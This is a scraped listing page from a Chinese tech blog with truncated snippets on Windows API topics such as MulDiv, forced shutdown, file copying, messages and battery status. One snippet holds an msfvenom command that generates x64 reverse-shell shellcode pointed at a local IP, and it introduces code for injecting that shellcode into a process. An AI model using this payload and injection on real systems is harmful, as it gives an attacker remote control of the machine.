WindowsApi_51CTO博客
内核相关的在:kernel.dll,提供内存管理、进程管理、进程调度、线程管理等等用户相关的在:user32.dll,提供执行用户界面相关的接口界面相关的在:gdi32.dll,提供画图相关的接口
原创 2021-07-20 15:23:17
104阅读
WindowsAPI: MulDiv MulDiv(a, b, c) 中的 a、b、c 是三个 Integer, 同时返回一个 Integer. 其计算方式类似于: a * b / c 或 a * b div c, 但也有区别.//例一: 相同处 var a,b,c,n1,n2: Integer;
原创 2021-04-30 23:32:50
360阅读
#include "Windows.h" //强制关闭计算机bool systemShutDown() { HANDLE hToken; TOKEN_PRIVILEGES tkp; //获取进程标志 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &a
原创 2022-10-31 20:02:12
64阅读
#include #include int ...
转载 2019-09-18 11:46:00
182阅读
2评论
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f c -b \x00\x0a\x0d 这是一个简单的注入本地进程的代码 #include "stdafx.h"#include <Windows.h>i
IT
原创 2021-07-16 10:11:12
539阅读
AttachThreadInput函数说明如下:WINUSERAPIBOOLWINAPIAttachThreadInput( __in D
原创 2022-12-29 15:30:21
1045阅读
<br />FILETIME结构包含了文件或目录的日期和时间信息:(自1601年1月1日以来,单位为100纳秒)<br />typedefstruct _FILETIM
原创 2022-09-22 18:11:00
80阅读
先引用相关头文件#include <iostream>#include <string>#include <Windows.h>#include <shlwapi.h>#pragma comment(lib,"Shlwapi.lib") td;//创建文件//param:file...
原创 2022-12-29 15:29:06
128阅读
1、概述: 消息句柄(Message)指:Windows 操作系统发给应用程序的一个通告,告诉应用程序发生了什么事件。 2、结构: typedef struct tagMSG { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD
代码://回调函数LRESULT CALLBACK WinProc(HWND hWnd, UINT uMsg, WPARAM
原创 2022-12-29 15:35:58
326阅读
WindowsAPI实现文件复制功能1. c代码注释也在里面 文件名为 copyfile.c 运行出来的exe为 copyfile.exe#include <windows.h>#include <stdio.h>#define BUF_SIZE 256int main (int argc, LPTSTR argv []){ //...
原创 2021-08-27 14:42:04
175阅读
当使用windows api时,一般系统都会提供两个相同方法,但是结尾名字不同。就跟LoadLibraryA和LoadLibraryW这两种方法。类似下列
原创 2022-12-29 15:28:21
568阅读
GetSystemPowerStatus函数要获取电池电量,我们可以通过GetSystemPowerStatus函数完成,其中也包括是否正在为电池充电,当前状态等,如果函数成功,则返回值为非零值。他的参数很简单,只有一个SYSTEM_POWER_STATUS结构体,返回的数据都包含在此结构体中。BOOL GetSystemPowerStatus(  LPSYSTEM_POWER_STATUS lp
原创 2021-02-27 20:00:05
1202阅读
要跟计算机进行交互,就需要计算机显示信息给人看到,或者发出声音给人听到,然后人看到或听到相应的信息后,再输入其它信息给计算机,这样就可以让计算机进行数据处理,把结果显示给我们。现在就来编写一个最简单的Windows应用程序,让它提示一行文字给我们看到,这就是简单的目标。 下图为VC++6.0中运行效
原创 2021-06-05 12:10:18
253阅读
头文件#include "stdafx.h"using namespace std;struct WindowVersion{ DWORD m
原创 2022-12-29 15:28:59
174阅读
TerminateProcess 终止其它进程版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明http://www.blogbus.com/flyxxtt-logs/43973152.html      这个函数可以用来终止或者说杀死一个进程,它不会留给进程及其所有线程清理的时间,系统会马上终止(杀死)这个进程的所有线程,致使进程
原创 2015-06-26 16:53:45
10000+阅读
简介Windows 这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application), 所以便称之为 Application Programming Interface,简称 API 函数。WIN32
转载 8月前
155阅读
# -*- coding: cp936 -*- import ctypes import ctypes.wintypes #print(dir(ctypes)) #print(dir(ctypes.wintypes)) user32 = ctypes.WinDLL("user32.dll") FindWindowA = user32.FindWindowA GetWindowTextA =
Windows 系统中经常使用 GDI 进行文本输出从某种意义上来说图形和文本并没有本质上的界限很多时候 windows 把文本也当作图形对待。在 windows 编程中文本操作首先要获得文本句柄此外还要设置字体字符大小字符颜色等有关属性并将它们选入设备环境。     &nbsp
转载 2016-12-22 17:22:43
2265阅读
windows服务下无法启动外部程序 做一个windows服务监听服务,涉及到windows服务启动外部程序的一个过程,但是调试测试发现,无法简单的用process.start()这种方法, 原因是在vista和win7这样的系统下,服务是运行在session 0,而基本上应用是运行在session
原创 2022-06-22 22:39:21
376阅读
  • 1
  • 2
  • 3
  • 4
  • 5